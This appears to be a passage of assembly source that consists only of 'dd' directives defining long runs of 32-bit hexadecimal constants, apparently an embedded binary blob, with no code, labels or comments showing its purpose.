dd 0C8B34305h, 0C20B53D0h, 0DD90E00h, 96B71850h, 1B3B0329h
dd 0A5161CBAh, 0E0125CE1h, 8E144E79h, 7CC04733h, 42A3A40Fh
dd 948FC07Eh, 24695706h, 3F9880FEh, 0D56048Ah, 2732CC2h
dd 0C520AA8h, 0E40F8689h, 0C0566505h, 0F0ED8C20h, 151C7F00h
dd 1DA43BC6h, 0FFD25CB7h, 2B380B7Dh, 5C202301h, 0C45155B5h
dd 9F46600h, 2DE25E76h, 0D9141ED8h, 751833A5h, 0BF009A7Ah
dd 96F843Dh, 3999F8h, 0E01406D3h, 4AAE8813h, 0CE76511Fh
dd 0C344CA80h, 30BE1CD8h, 1868D726h, 2104815Bh, 0AC4A98E8h
dd 0EEA01C00h, 0F400B2D5h, 0E7D089C3h, 0B25117A9h, 7282810h
dd 0DAF854h, 0A6CD49F1h, 2513E674h, 560A9100h, 94865290h
dd 0AD79006Ch, 0EA3D244Bh, 5026C576h, 8400B820h, 0F1ED13A3h
dd 0FD1D0036h, 63717983h, 0D500A026h, 0C71E3785h, 1C934AF8h
dd 40823E40h, 321B0D2Bh, 3103F755h, 2E99F256h, 0A17EA8EAh
dd 39620795h, 22FD2D0Ah, 72404DE5h, 0D4019C08h, 5B8EA038h
dd 4BDCE780h, 553B39DAh, 0B77A4780h, 292748F7h, 505FE500h
dd 4D332E98h, 815D3FBCh, 0AFC800CFh, 0CA32DC45h, 0D8F92007h
dd 1030C9DAh, 0B0EC39F1h, 0F0D400F8h, 0FF56970Ch, 0BDE27999h
dd 9E6F4300h, 84A194F3h, 145058C0h, 0F610007Fh, 462BDBA9h
dd 310726E6h, 4F84605Ch, 0C41BCA32h, 96420F78h, 54E75D1Eh
dd 2AE60F7h, 0D100C2B0h, 1B906F41h, 79A9B23h, 1AD462DCh
dd 3B30D0C0h, 7B17E4BEh, 0AC1FF8A1h, 0A05CB680h, 1160B42h
dd 58782CBFh, 0E01ECD6Bh, 2700CFC3h, 0DA523F46h, 79E232h
dd 0C1B7F514h, 9669081h, 0A4005670h, 570C786Eh, 93F17F8h
dd 0D7493AA3h, 4D5EA480h, 3D0063D9h, 0B86F7567h, 43CAD31h
dd 0C3F21AD3h, 5169C04Ah, 41E00F8Eh, 30D0F300h, 5AB866FDh
dd 0FC05E821h, 77A40157h, 0CECDF174h, 4C7C68E5h, 0E4F726BCh
dd 0D9C9E200h, 898024h, 5E28B934h, 0F1CE0850h, 0EC1A21C0h
dd 43721B6h, 52E87C51h, 8EA4D0C0h, 0DD3F4E6Ah, 100F36Bh
dd 5FA9D876h, 2DE7A8h, 1591CF71h, 0C2260812h, 0D30B1009h
dd 0E0F68002h, 32EDD8h, 0F0A164AAh, 9047E1E7h, 4C006EFEh
dd 8C717A4Fh, 71C4162Ch, 0B079033Bh, 0A563B6EAh, 1348BAF0h
dd 40324300h, 99E29D52h, 0D3EB00FDh, 0FAF4B576h, 0C700A24Fh
dd 723995C9h, 0F10C31Dh, 0CF010B41h, 4483AE80h, 0BF00F79Ch
dd 1884430Dh, 4E7250h, 9137E479h, 0B95E223h, 4386B600h
dd 0E528AA57h, 0D85300B7h, 5EA9132Ch, 5203C709h, 62399CDCh
dd 0BC57E0DEh, 534000AAh, 5614E3E6h, 54EC3824h, 0B5790C04h
dd 57C03FA2h, 16948Ah, 0E5E1EAFBh, 961970EFh, 554E9E1Bh
dd 43F6C2C0h, 6415C081h, 0F53B0049h, 3E139EC0h, 57000FD2h
dd 46B9A932h, 458533h, 687E787Ah, 99A86F23h, 8015503Bh
dd 30ABE0C0h, 67BEA5Ch, 33E7EF83h, 3F00D081h, 0D2E892B0h
dd 3C7F65Eh, 98206B5Ch, 200085F1h, 396C293Ah, 379BB1h
dd 59D60350h, 72385842h, 66223007h, 9BD0A556h, 7DFD0FDh
dd 76E88CD3h, 0E11D80E4h, 0B203C6B3h, 7CEC448Fh, 89AD98D5h
dd 0D82006Bh, 763A1B52h, 0FB07EB74h, 0C4E6E749h, 61064E61h
dd 80A8F19Ch, 0FC0E3045h, 0C40097F3h, 3A08CB7Bh, 0D0A3EEh
dd 0CA53FA69h, 1D83A401h, 50B4F309h, 5AE987D6h, 6420EE60h
dd 4CED3B78h, 16ABC912h, 12CE0020h, 8EC8734Dh, 3BA8A85Ah
dd 1C5EC440h, 98C06682h, 46DB8A7Dh, 97C388C0h, 3A80EEA8h
dd 5DBBCCB8h, 3C93F180h, 24D05CD5h, 99917000h, 0D1A4D213h
dd 87AF0FEBh, 96809892h, 0C5C2AD23h, 8D10CC00h, 8DED8F5h
dd 0E8027F60h, 7AF000CDh, 451DA6C2h, 3A0035D0h, 0CBA8C494h
dd 7669E333h, 7C9B00B8h, 0FB8FED9Dh, 1200BE8Ch, 61DD54EFh
dd 7FDBAEEh, 34EAA96Eh, 0F106203Eh, 4200F990h, 5E841F3Ah
dd 5E11B02Bh, 81F8B9h, 38F17583h, 0FA4819h, 0BB9F16A0h
dd 0AEF5B433h, 11EBC200h, 0EE8F2A1Bh, 0CE400050h, 947F0412h
dd 86792B19h, 0DE9A4F03h, 757C27Ch, 81F94D88h, 880DC08Fh
dd 367167FDh, 0A46C0800h, 621E153Fh, 0E0E851h, 6426E723h
dd 7B27A166h, 0D08F521Eh, 38A78C48h, 0F0D8689Fh, 0FB4A1D41h
dd 347EC5F8h, 1BE0C261h, 1CE4A080h, 4DCFEC9Ah, 96581057h
dd 0AC829000h, 0CCEE77AAh, 62F6EA00h, 7A296792h, 0E9630C39h
dd 51686F7Ch, 23217100h, 0BFDCB72h, 42E8008Dh, 0F2D81BCh
dd 0D9051EAAh, 14A86B9Bh, 6748880Fh, 77C351ADh, 59C2E8E6h
dd 54854926h, 0D37DC15Bh, 5FD570EBh, 9810C000h, 73FD3205h
dd 82AF0072h, 593BD577h, 3624E7FBh, 3990FFh, 52AC83C8h
dd 0F89C51h, 377471Eh, 2C255D7Ch, 57486300h, 0E805BD45h
dd 7867664h, 31A97313h, 0C0C18418h, 69E53D8Ch, 0EDE7F501h
dd 0EA84F00Eh, 3781920h
dd 3BF92874h, 0F7F171EBh, 832CFC15h, 10129600h, 6B84787Fh
dd 9BB0A0EFh, 0DDF1028Eh, 72CD3322h, 665EC080h, 0D30046EEh
dd 0B5F88978h, 909215h, 180930Fh, 6F213D5Ch, 0AEEBEF07h
dd 386C7147h, 3CE1079Ah, 0E05A99DEh, 43E9E1Dh, 0F7682700h
dd 77F410B9h, 46670060h, 0BFD3BD08h, 87011266h, 0CD984818h
dd 0D0E87437h, 694F003Bh, 4581DE0Eh, 9700E1FBh, 0ACF97308h
dd 0F810F117h, 86A9265Bh, 91AD004Eh, 49F7CA07h, 0CC835900h
dd 274AF236h, 2915002Bh, 1C5C06C8h, 0A3030434h, 2D9E77A0h
dd 9F2CAB45h, 40A43EE0h, 0B291001Dh, 0CF4D5746h, 490901BEh
dd 80A143B7h, 0A0D19F1Eh, 1DE70070h, 30B5B22Eh, 0D800FA24h
dd 29ED172Bh, 98280DABh, 139D1C2Fh, 9BEC8086h, 1ABE1575h
dd 0FDC23D00h, 4FE95989h, 0FC5800B9h, 0CA3CE7B1h, 0CD00145Dh
dd 80674BBAh, 0E23949E8h, 0BF9000B5h, 0BD4CF357h, 28901482h
dd 7DA96405h, 0B280D6A7h, 24B7FD3h, 0F5488B7Bh, 0C439BABh
dd 1BDC5AFh, 910A1588h, 301CCFF1h, 52406CAEh, 0E0AD78B6h
dd 0FF5401EAh, 69B22F98h, 76F07F1Eh, 162E4C9Ah, 40A23F1Dh
dd 0D72A9413h, 0DD3CEB7Fh, 80FB3D03h, 0C512CDBDh, 582EA2Bh
dd 0DA1C3645h, 0F2D89019h, 88C03EF8h, 216F2D72h, 74107436h
dd 0B61F1F26h, 442170B5h, 0B498CFEDh, 140728EEh, 0C44EFB18h
dd 33A4A741h, 186050BCh, 0EFED3DF4h, 0E49AF700h, 6EB6FE0Ah
dd 8CA7009Fh, 0CA7C45C1h, 3340DB2Bh, 1F37C49h, 95526BA6h
dd 0F1FD284Eh, 6C3C40B4h, 78786F4Dh, 5ECF621Ch, 89D3E1CCh
dd 5F8D0136h, 0D14E358Ch, 851170EDh, 963E4D1Eh, 0C414096h
dd 75F9778Ch, 32F116D1h, 0F6BE0C40h, 9C84A81Bh, 975F2E9Dh
dd 40DE1CF3h, 2F48A784h, 0E9018AE3h, 523CD89Bh, 6680C1E5h
dd 7C21BB9Ah, 7D042554h, 0BC49F477h, 85FA8280h, 0ADBF03A5h
dd 5A6DC9BEh, 0DC868BC9h, 0B9009187h, 15B4878h, 929AD6h
dd 2A978168h, 8FC006CFh, 0B06DB53Ch, 0B043A038h, 0D32D24AAh
dd 728605D0h, 0C27AC01Bh, 1C137E4Eh, 0F0009870h, 0F048FFDh
dd 694600D3h, 2E40BF2Dh, 541F960Ch, 0D24042E0h, 5156C0BCh
dd 53BE5839h, 0ABCD6100h, 0DB52C5E9h, 9276F61Eh, 0EA15A5C0h
dd 1C784BCh, 6C0B04C2h, 0E89A349Dh, 0E400872Dh, 0DB54FC98h
dd 0CCD26Fh, 7E17C04Fh, 0EFE9DFB0h, 34529300h, 8B2418FEh
dd 0E14100FBh, 1368649Eh, 44006785h, 7757F592h, 1BA637Ch
dd 46CA989Bh, 804E4AFFh, 64612C12h, 2480D0E0h, 0BC114Fh
dd 84E22520h, 27717F3Eh, 33FB20C0h, 1F6138D8h, 0C02A5CD6h
dd 0A7B4F19Bh, 2700C641h, 11F57D78h, 701B581h, 28F0208Ch
dd 0F271704Eh, 0B11EE93Eh, 71B05F50h, 0FEBA5D4Ah, 0A380BDDBh
dd 0D566EA09h, 0FD63B901h, 1F387305h, 1224570h, 0F103CFF8h
dd 0F4FFD114h, 2103A8DDh, 7571B490h, 0EA7290B9h, 4C1D0341h
dd 73B8AAE1h, 8CBD1000h, 84F160FFh, 0BA3D0752h, 0C04B7B3Eh
dd 94DD550Dh, 35B9D600h, 0B2420E11h, 62210082h, 0BE9B8E5h
dd 610059ADh, 16A27B97h, 0EF7012h, 1C72BE7Fh, 65BB8F5Bh
dd 4C73A13Eh, 0D43D7ADAh, 77270042h, 0E93BF52Fh, 0E303036Eh
dd 0A032DA7Bh, 70A426A9h, 0DD003A66h, 7161F2AFh, 1D36DED2h
dd 52CE4F7Dh, 5980E40h, 880B7640h, 0C5009429h, 2C6AB123h
dd 41C390h, 1CCF8E54h, 0A8D42BCDh, 0E2C7F500h, 0D9A3585Dh
dd 3F78E44Fh, 0E4801F8Dh, 0ED5247E0h, 8F022671h, 0AD6E6415h
dd 0A0B48065h, 1ECF365Ah, 40D3391Fh, 633BE4FEh, 1C00E9C9h
dd 7BBFCC6Dh, 0F5490BCh, 7ADC5DDEh, 6AD400BEh, 5EB0A0E0h
dd 55A75B00h, 7D9F234Dh, 0AB14006Ch, 531A3D0Fh, 0BC007797h
dd 0B332B4Eh, 70C89Ch, 91566F9Bh, 0FA903BFDh, 513CAF00h
dd 6927B220h, 7B4E42Eh, 8AEF2C39h, 26ADC049h, 0A70FE428h
dd 0E045FA6Dh, 2F07CDF7h, 948500BEh, 49250431h, 8F1D0E55h
dd 0F140CA44h, 0F677D5E3h, 0EC5B0013h, 0A63B69C3h, 5000BE41h
dd 74666A60h, 38ADF7h, 0D0E5865Bh, 87AAFBDBh, 0BB59FA1Ch
dd 1B337C02h, 0C948267h, 0C3D01854h, 428D4600h, 0C9F7C8D6h
dd 90585059h, 7B80F66Bh, 99DC0098h, 82E955A6h, 75000688h
dd 54082556h, 12CBFB3Ah, 14EBC7A0h, 0E40059BFh, 0F50A965Fh
dd 0C50019E8h, 7B9C55BEh, 3EA1BCFh, 0EB639899h, 74F88073h
dd 0A924DC84h, 67035CD7h, 0F87DE354h, 15CC1A0Fh, 0D07F5785h
dd 1C1C6426h, 721CC010h, 8A37C102h, 0C27DE401h, 0CA758C41h
dd 1FAA90F4h, 0C15F09CDh, 7F76FD36h, 792A30C6h, 0D786C200h
dd 0A7477A80h, 0C8460025h, 6123B1D9h, 0F47F60FAh, 0E38CDE00h
dd 0D1CD365Fh, 0D7DB58EEh, 0D6CB4800h, 0B07F370Eh, 0FC81A71Dh
dd 959B1AC7h, 4A47B960h, 0C8110358h, 24058D75h, 0C5077600h
dd 0A212640Dh, 9D29006Fh, 0D1FEE2FDh, 0BEFE578Eh, 7B7AE100h
dd 592B08B5h, 0F78779C0h, 4FEE8440h, 0DCDE098Eh, 52001B8Ah
dd 9BB1974Ah, 0C0001875h, 0E4569496h, 0F916ACh, 72872A83h
dd 0A4D4AFE7h, 7D049F00h, 4F573DE6h, 0D3BC00D6h, 9A11CFDDh
dd 380068E0h, 0A1DCECABh, 1DF2D816h, 0C05A5253h, 0EB3BD19Eh
dd 9B266F99h, 94806063h, 1D34873h, 0A6290121h, 859881ADh
dd 0A9CC40CFh, 0C20FF35Ch, 6BF524h, 0BFA08B57h, 0D6CF062Bh
dd 18F6DFC1h, 6DB99300h, 25E9EFF8h, 155D1CDDh, 0FC9DC21Dh
dd 40DB33h, 0DF0038B1h, 3A424B50h, 183933Dh, 0DAE8F637h
dd 30C930FEh, 0D9012658h, 0E1EE9505h, 14E0DB5Ch, 52FE78h
dd 0F0B96C88h, 368FFA12h, 0AC76E101h, 9CAE2E5Eh, 0DBDEE440h
dd 7329008Ah, 88E2213Ah, 0F0006C5Bh, 57EC47F9h, 4C9CC24Bh
dd 62192948h, 0DC68D8CBh, 580036CCh, 50FAD815h, 98BFB6B8h
dd 9FE071h, 3DF31F0Eh, 8C5C2D10h, 7A000874h, 0D2B03C5Ah
dd 1E989E1Ch, 0C068F6B3h, 575EC58Eh, 0E773D4Eh, 0C806B900h
dd 94911BFAh, 0F677AE2h, 0E155DD08h, 9ADCB60h, 8100C26Eh
dd 0AB32CCA9h, 1D660859h, 7FC582h, 60F72997h, 8B0080D5h
dd 31746AADh, 4D4F2FFDh, 0B80074B4h, 0C8E9FC4Eh, 510316D3h
dd 17240259h, 27B9B0CAh, 3F85072Fh, 30B154DFh, 9CACB24Ah
dd 0D7014771h, 2DB78734h, 9EE8DCB9h, 3FE6099Fh, 340167AFh
dd 20A1E1E9h, 7E3B88C0h, 0E0F1834Fh, 0D0577922h, 50209h
dd 0F175916h, 0A64B6B0Bh, 42CEE00h, 0EB397A53h, 9D4F005Fh
dd 65E3BA51h, 52001378h, 0B7DAD7B3h, 18A611Fh, 0C5C8AF87h
dd 70A8F29Eh, 11008D4Fh, 0EEF9C1CAh, 0E73FEFh, 82F04A9Dh
dd 0E0971327h, 26B33405h, 88909165h, 2E55F199h, 0B64BD3h
dd 0CF0E4352h, 2C00BF2Eh, 3CEC48B3h, 3DFA10h, 0F776E929h
dd 8DE61438h, 75A44105h, 0D680E3F6h, 0E0439F84h, 0D44F0113h
dd 56A859DCh, 0D58EF873h, 50E6DC90h, 4991BB01h, 0BF7A297Ch
dd 833E1058h, 0BF07997Ch, 0D9D10175h, 7040FA47h, 0C592533Eh
dd 0F6E621h, 0B262AC1Ch, 8C0550Ah, 830F2006h, 7F3DF24Bh
dd 0D5F400D2h, 0CFFEDC7Ch, 0E00636Ch, 745E6636h, 2CC7E129h
dd 8D000975h, 80C01902h, 0B3125659h, 0F05DE331h, 2750FE1h
dd 0DEA08713h, 0DC47B149h, 1656FB0Ch, 3A94410Ah, 4840D1DBh
dd 0FDE8A460h, 7A87C8Ah, 0AAFA3081h, 0EDF65062h, 61014424h
dd 6B1ADD99h, 0B140FFC5h, 3EE224Eh, 72C2BD49h, 0C0CC43E5h
dd 9A0E5676h, 52007AFAh, 71858B76h, 0E84407C9h, 209200CBh
dd 406B5130h, 370DD6C0h
dd 0E8B1C366h, 155989Fh, 41DC5393h, 5194E4A8h, 213808CCh
dd 920E01CFh, 300CDA43h, 0E41DD475h, 9B89C415h, 62D00EB8h
dd 6C183941h, 4318F0h, 0CAE5CE9h, 0DB3135B8h, 9EBDEE18h
dd 160F8731h, 3D7CD17h, 7E60965h, 21810830h, 0F170C26h
dd 920A553Fh, 0A86541C0h, 3C604889h, 952DF58h, 0A870D12Fh
dd 3603D507h, 11D73608h, 0D1C75900h, 0B2FA550Bh, 0CA3E26D2h
dd 354A0C2Ch, 0FF0FEBD8h, 1D62A1D3h, 584116C0h, 156A8199h
dd 94E2482Dh, 0BC00BF23h, 0E1DC1F94h, 3A4486A7h, 0B8AEC0D3h
dd 3E9C78AFh, 35E29700h, 2673F5Fh, 22100FD9h, 3BC139E4h
dd 0C0A2B979h, 78C0D044h, 61B8F865h, 0B640055h, 760CE089h
dd 0C2002711h, 309FE114h, 2E6C40h, 7ED1F720h, 0C3BD3F97h
dd 0EA06BA00h, 6657D76Eh, 63550FFEh, 69E08B3Bh, 6430A320h
dd 1F15EC00h, 4A59245Bh, 0EF5D001Bh, 67A6967Dh, 0A8013A76h
dd 1442AA6Fh, 5AD8684Fh, 0C5E8009Fh, 0A73FAFEBh, 500FE08h
dd 6B5CACABh, 0FACD87h, 0CCC3ED37h, 85719107h, 51AF3200h
dd 0E8DD604Eh, 74B903D9h, 4F82FCB3h, 0C2BF9EB8h, 77D6BD07h
dd 0D480B64Ah, 142B76D5h, 0E3A7C33Dh, 74851Fh, 64A2BAF6h
dd 0DCF0BC39h, 4B3B3C00h, 431BE4B2h, 8DF801A7h, 5A462286h
dd 970E60ACh, 2A87A400h, 0FF2BD437h, 0E0A2007Eh, 2C20B913h
dd 0DE071536h, 55F9F29Fh, 0AD00D7F5h, 41608CACh, 93690762h
dd 30BC4ADDh, 317AAA33h, 600BF74h, 554DBEBDh, 7BB70Fh
dd 3A20E2B8h, 0A7CD0EFEh, 0D9A0100h, 71566578h, 0BFAC03AEh
dd 0FAC09321h, 0A51D9A0h, 0D96A800h, 0F62C9728h, 294903ABh
dd 63E0403Bh, 961E61D0h, 68E43AC3h, 8582C870h, 9ED10002h
dd 18ADFD21h, 100793E9h, 0EDCF04F9h, 6072EAB2h, 0CAB2DDh
dd 1EF3BD38h, 0D00CDD02h, 3AE55700h, 0F69848A1h, 1FA7218h
dd 235C4617h, 4070CC28h, 218A90B1h, 76B2D100h, 0C6A4E848h
dd 2BA10BECh, 0E201EF53h, 0F063F315h, 601EE4ABh, 0B9403FD6h
dd 79B24DADh, 3AF0A03Dh, 818B00C4h, 6979C0Eh, 0D71F8A24h
dd 0A880774Bh, 8BB7C09Fh, 5B5F3F09h, 750200F1h, 21F148F4h
dd 65183845h, 0CA389807h, 5C04E8D1h, 140016E9h, 73D07C19h
dd 823DAD7Fh, 223B807Ah, 792CE9DAh, 8C270C90h, 9B68789Fh
dd 5EADE400h, 0AE98A717h, 3E9700CEh, 0C615B796h, 620021B1h
dd 0DBADEA36h, 12648049h, 51F209h, 0E4E27CADh, 9F748815h
dd 0D059C200h, 0A932981Ch, 0D5E63089h, 0E45328D9h, 2A73C00h
dd 71884682h, 3E1D0058h, 0D280A50Bh, 3A585E0Fh, 348401EEh
dd 9391C3CCh, 775A8C8h, 8E9A603Dh, 41B570C6h, 0DF1E0334h
dd 6E80D0FFh, 1E36B015h, 9EE00E2Fh, 38584492h, 0FC007D80h
dd 0DBCE9D34h, 96CA4h, 0EB8A83B1h, 3BBE76E5h, 5CDDA101h
dd 1AFCDCF1h, 58C01ED0h, 8C2B3822h, 0E7B001CCh, 8594E0FCh
dd 8DF63BF0h, 0F2AFCC04h, 12BCC88h, 0F02456FDh, 608AB628h
dd 0A9FE8CD6h, 1E7D3Fh, 0C76B45C3h, 0E3D3B5A6h, 3AAAC8DBh
dd 9D7401CDh, 42A140C5h, 0E8EEC59Bh, 5F7BA996h, 81014301h
dd 1B2E892Fh, 72A61FCh, 988AF1D8h, 809C9460h, 0B038A124h
dd 2F84D8A0h, 62784E00h, 71023CA3h, 3002B045h, 0E688AA03h
dd 542EA0D0h, 2200DFB5h, 2B0EEAEBh, 0AD100014h, 0DA8E6BACh
dd 0C0E91A31h, 5E0192F3h, 41B6DDBDh, 88508554h, 18D2884h
dd 0FF8F708Ah, 0BBD8645Fh, 0C3B08089h, 5AE29B69h, 372E007Ch
dd 70345FE5h, 0FF001B08h, 20A21979h, 0BB58E4h, 0B56F1F2Bh
dd 4FC5D7C8h, 0C7E21AFCh, 1803F9B0h, 6DA2457Ah, 88EDF807h
dd 207C00EEh, 0E9F10E72h, 3B07A915h, 0D7183F33h, 37B9ABC0h
dd 87AF00BDh, 0F901371h, 39791D56h, 8F215700h, 0B3913574h
dd 0DD8A0EA8h, 9C006E92h, 23BA1D9Eh, 0D600307Ah, 0AE40CE7Bh
dd 22B39Dh, 433ABD18h, 34667EBCh, 0C79B2A00h, 7A884DEAh
dd 11E00054h, 0A08B0F3Dh, 6F00D1BEh, 0D865B7FBh, 0FE2E34A3h
dd 0EAE816h, 0CDF4F54Bh, 0A79314D2h, 1DA4C700h, 4DA66525h
dd 0EEEA006Bh, 4E06B762h, 0DC1D98B4h, 8DC0E1A3h, 5B8F1BF8h
dd 461E1427h, 0E500B4D7h, 6C096D84h, 700A3DDh, 0A70A082Bh
dd 0F21EBDABh, 2DBB30FFh, 0A0ED9176h, 12034600h, 4088B587h
dd 9C580063h, 0B12202F1h, 0A60F1624h, 61BB8615h, 89A7EBB2h
dd 7F63E0h, 0FD548C0h, 13D140AEh, 59BF1600h, 777A854h
dd 23440045h, 93BD6DD6h, 9A785711h, 6C80F700h, 0EF7A223Eh
dd 984A1ED1h, 4C5B0178h, 0EB2E5AD0h, 42DE8FE8h, 71102960h
dd 6F34D19h, 21F5C079h, 1F04190Dh, 0B7A6767Dh, 1938F80h
dd 0FFC8035Fh, 1CD3EA0Ch, 4BFC6000h, 0B31254E4h, 0ADB00070h
dd 1639CBBBh, 6C005325h, 2458C5EBh, 835678h, 0AA4A6AFDh
dd 76552E3Fh, 71D8DD03h, 0A850E829h, 9027E6E2h, 0DC0900A0h
dd 55A7A99Ah, 17989583h, 7D756700h, 0E32E1490h, 0B9861CA2h
dd 681AC3A6h, 11009DCDh, 0C047644Dh, 77C1083h, 5840D5BDh
dd 0B163507Bh, 24F6A178h, 1DEC7200h, 0F9E04B6Ch, 197000F0h
dd 0DFB6FFE9h, 2A00E19Ah, 0E76CC561h, 1E133ED9h, 748737h
dd 6850C667h, 2C0301CBh, 0EE08AE44h, 7CBBC8D1h, 450500EBh
dd 0C54AF049h, 0C4005070h, 0B5432FF5h, 0E5D11Ah, 0CDF39805h
dd 0CAFCB616h, 0BD592700h, 0BE3FEF2Eh, 6E3E034Ch, 3D4D066Ah
dd 372946A0h, 508A5300h, 72C7108Eh, 7EE100FCh, 0BF754BCCh
dd 6B0E8CC1h, 471BEA29h, 0E02FD428h, 0A335AD16h, 363D0096h
dd 4E63ED02h, 0BB009801h, 48AFFD93h, 0B94D8Ah, 40A8DAB4h
dd 6D39286Fh, 929B8603h, 0C8102EE8h, 3D70122Bh, 1006715h
dd 41E6D748h, 0C009689h, 59BEB2D4h, 70425Ah, 0CEBC01EDh
dd 6CC26A14h, 960FEBEAh, 60981AE0h, 74FE9143h, 6E180373h
dd 0EAAD4FCDh, 991D80D8h, 6050CF31h, 10C8D24Bh, 0F39104C2h
dd 12B75D5h, 2E8B39B8h, 0C3700FD3h, 0BCC74ABFh, 417141B7h
dd 0BD1899F3h, 58F06410h, 1894503Ah, 2B1100AFh, 934C34EAh
dd 86E85CECh, 9876B8h, 1FBB674Ch, 6E98A839h, 2EE1FF56h
dd 7ED624Bh, 0F0105811h, 0C73DA60Dh, 95EC7103h, 14EE9AF5h
dd 34AD3A48h, 4238FF07h, 0FAB5A04Dh, 0F600AA1Bh, 73EED416h
dd 5DB0A0h, 4D1DA39Ah, 0D5F491C9h, 0AB707850h, 2237B0C7h
dd 0FB5F05F1h, 303906D0h, 0BE206DEAh, 93014E8Ch, 980A5221h
dd 95206EECh, 8E440028h, 0F4959F55h, 8100B6F3h, 6CF2FB4Fh
dd 1EC02D2Fh, 8286F9h, 603276DEh, 4032A71h, 643C5106h
dd 0C9DE0FAh, 9F7800ADh, 3D77252Ch, 6000E5AFh, 51CE745Ch
dd 154298h, 0BEB98168h, 0CBF68264h, 7734D00h, 0DB01D80Eh
dd 0CE193F2Dh, 3B678300h, 0C02A2B98h, 7A20051Dh, 19314280h
dd 33106Fh, 0C30B7971h, 0F974EEA5h, 6C97A400h, 0DABBA154h
dd 581030F1h, 349B3F0h, 86671107h, 2E901D1Eh, 0D52B01h
dd 7B1238Ch, 1BBA3A1Ah, 6F311400h, 0C7E7FD2Ch, 56CD0053h
dd 0F0EA6552h, 0AB07A5C5h, 59822601h, 55A322C0h, 2A103B7Ch
dd 0E46BCE80h, 0CD92F912h, 0B6EC001h, 2F5324C9h, 5021E9D5h
dd 49D06040h, 6A070093h, 0C3A41041h, 5F001471h, 0BE1C77B4h
dd 0B5FCF8h, 108BD8C2h, 0CF43F66Ch, 39344601h, 0C8FA90B8h
dd 0E44CE7CCh, 0A79C00BDh, 2957EA78h, 830E0D53h, 0C4E0BA24h
dd 0EAC0F9C5h, 4217D1h, 0C378540Ah, 696B08D9h, 24EAF800h
dd 58C67620h, 0E64B30CAh
dd 0DB781B31h, 21443301h, 869ABC62h, 0C0A22C24h, 7CB1EE8h
dd 0C4006071h, 536614B6h, 20B8C05h, 0AF2C3E09h, 0BCA0E591h
dd 836C8859h, 58B60E25h, 0F0CA7B14h, 0F9AA3718h, 0A98CC0E8h
dd 981416A3h, 280138h, 70EEADE3h, 75E17EFDh, 1BAA001Dh
dd 88765797h, 3603D2C0h, 0D359D448h, 0F80A003Ch, 0DF26D97Bh
dd 4600E188h, 0B04F57DDh, 1A0237Ah, 0D984173Dh, 70BA2503h
dd 6507B1F8h, 442A80B5h, 0ED4C66D0h, 0B7A0007Fh, 1F86503Ah
dd 65004861h, 4585EB9Ch, 9D72072h, 5ADE14C6h, 0D5F70803h
dd 2831E900h, 0AA0A890Bh, 382A1DB5h, 71A68007h, 69A1500Dh
dd 9FD9D9C0h, 91ED5Ch, 0F0FECD56h, 0C58E6C33h, 0CED14900h
dd 7410F84Ch, 6831C0A4h, 0F7A2838Fh, 0B534A800h, 58A60F50h
dd 3E2001A4h, 0AAF68D85h, 0E13DFCB6h, 0A100B9E2h, 0CD69D07Bh
dd 1C0D75AEh, 0DF6EE5ECh, 94B066F6h, 66268CD5h, 479C1FC4h
dd 301EB779h, 0CD3D8137h, 0AF38FC00h, 0E5BCC47Ah, 529D0086h
dd 32307891h, 27E60B26h, 0F205DF00h, 0DC97B8A9h, 0BE8EC071h
dd 72B43FDBh, 682249h, 0E598E0Dh, 301FED71h, 1619077Fh
dd 9F3039A9h, 0C28911A5h, 8120EFD3h, 0BB0401D4h, 34DDA750h
dd 90C6C4EFh, 18AF0524h, 0B0F7DB80h, 34D1014h, 39D0E242h
dd 0D2C0F329h, 62B03811h, 6301B6F0h, 0BC699553h, 6024B9EFh
dd 0C4B16Bh, 0D0F910E3h, 0D21DE593h, 155F7D8Ch, 44E2AA80h
dd 58878Fh, 0DB291791h, 225EB3E5h, 2C95F507h, 0E750DAD8h
dd 69B582h, 0F264518h, 3D90885Fh, 0BD5AC300h, 2BBF70ABh
dd 0B38D00D3h, 0C05F7CBAh, 160091FAh, 1A5BB827h, 6097B4C4h
dd 721C1110h, 6400ED9Eh, 24ADC201h, 30941141h, 0D62026C6h
dd 0D700E5FAh, 533E56CEh, 4F0959h, 835A5F96h, 8DA47239h
dd 600E9F0h, 0F412A3F3h, 59BCBAh, 0CA9E653Fh, 293492D4h
dd 56C44B00h, 7D7B13ACh, 0C0980106h, 0B7D83C82h, 90DC64CEh
dd 78008F72h, 83597C21h, 36F10Ch, 0BB63344Fh, 1DA1B0ECh
dd 8AB4E18h, 0A7F3E20h, 54700EBFh, 4FDE00B4h, 0F82472C6h
dd 2B7AFEE0h, 0ED977C00h, 0F0420C4Ch, 201B05A0h, 6317E7h
dd 0E04493C8h, 3B261ECAh, 8A80743Eh, 3A3C8C24h, 0A77E0E52h
dd 0F1FF069Eh, 6029F4AAh, 0C400BB0Dh, 21254673h, 40FE003h
dd 5CB0ED49h, 8C40D020h, 0CA00CDBDh, 0E49355C6h, 0B56999h
dd 0F3EF1BA2h, 2339DCD6h, 3EB6F84Ch, 2D968166h, 6FAAD7BEh
dd 0EB317CEDh, 6521420h, 0A2E39909h, 51001068h, 619DB1B6h
dd 3B85F976h, 16804319h, 0F112B0C9h, 0FC034241h, 6194AD14h
dd 50E6E8A5h, 387E6A4h, 1BE05479h, 0DCD8AA4Fh, 0E290BCE5h
dd 3EC05B4Ch, 32B900EFh, 0DD5C568Bh, 0B4C700A4h, 13943D35h
dd 0BF483701h, 45F10068h, 0C1D7048Eh, 7D4400E8h, 0ED29369Ch
dd 1102141Dh, 0F8316506h, 0F9C08093h, 4C9B9474h, 90FA0C0h
dd 8347C977h, 27478060h, 0A60E1106h, 0C0FDA41Fh, 4FF718E7h
dd 0CDEC00CBh, 569DC209h, 3401D024h, 5AA6B99Ah, 0E0404993h
dd 1458DFh, 85E23F4h, 335285B6h, 0F667BC00h, 0E5BBBE76h
dd 76E3F6F0h, 6A6900B9h, 0A03550C0h, 7A009732h, 85784E49h
dd 12EF399h, 834333CCh, 0E5E89870h, 0FD1FE005h, 4D482600h
dd 0C4E0B203h, 9FFC8Dh, 0B16BB4EFh, 2E8653CCh, 2959F901h
dd 0B81C50Ah, 126CFE8h, 0F1141F44h, 0F0F2C068h, 0D4004E4Dh
dd 0F87D3796h, 0BD43B0h, 5F55E01Bh, 5BAFDD9Ah, 5800B474h
dd 4A7E3B84h, 8863A9h, 3CFF822Dh, 0D263810h, 8A99B650h
dd 1C3B3939h, 908E8DBAh, 75CAA7A1h, 71852D40h, 80F800C8h
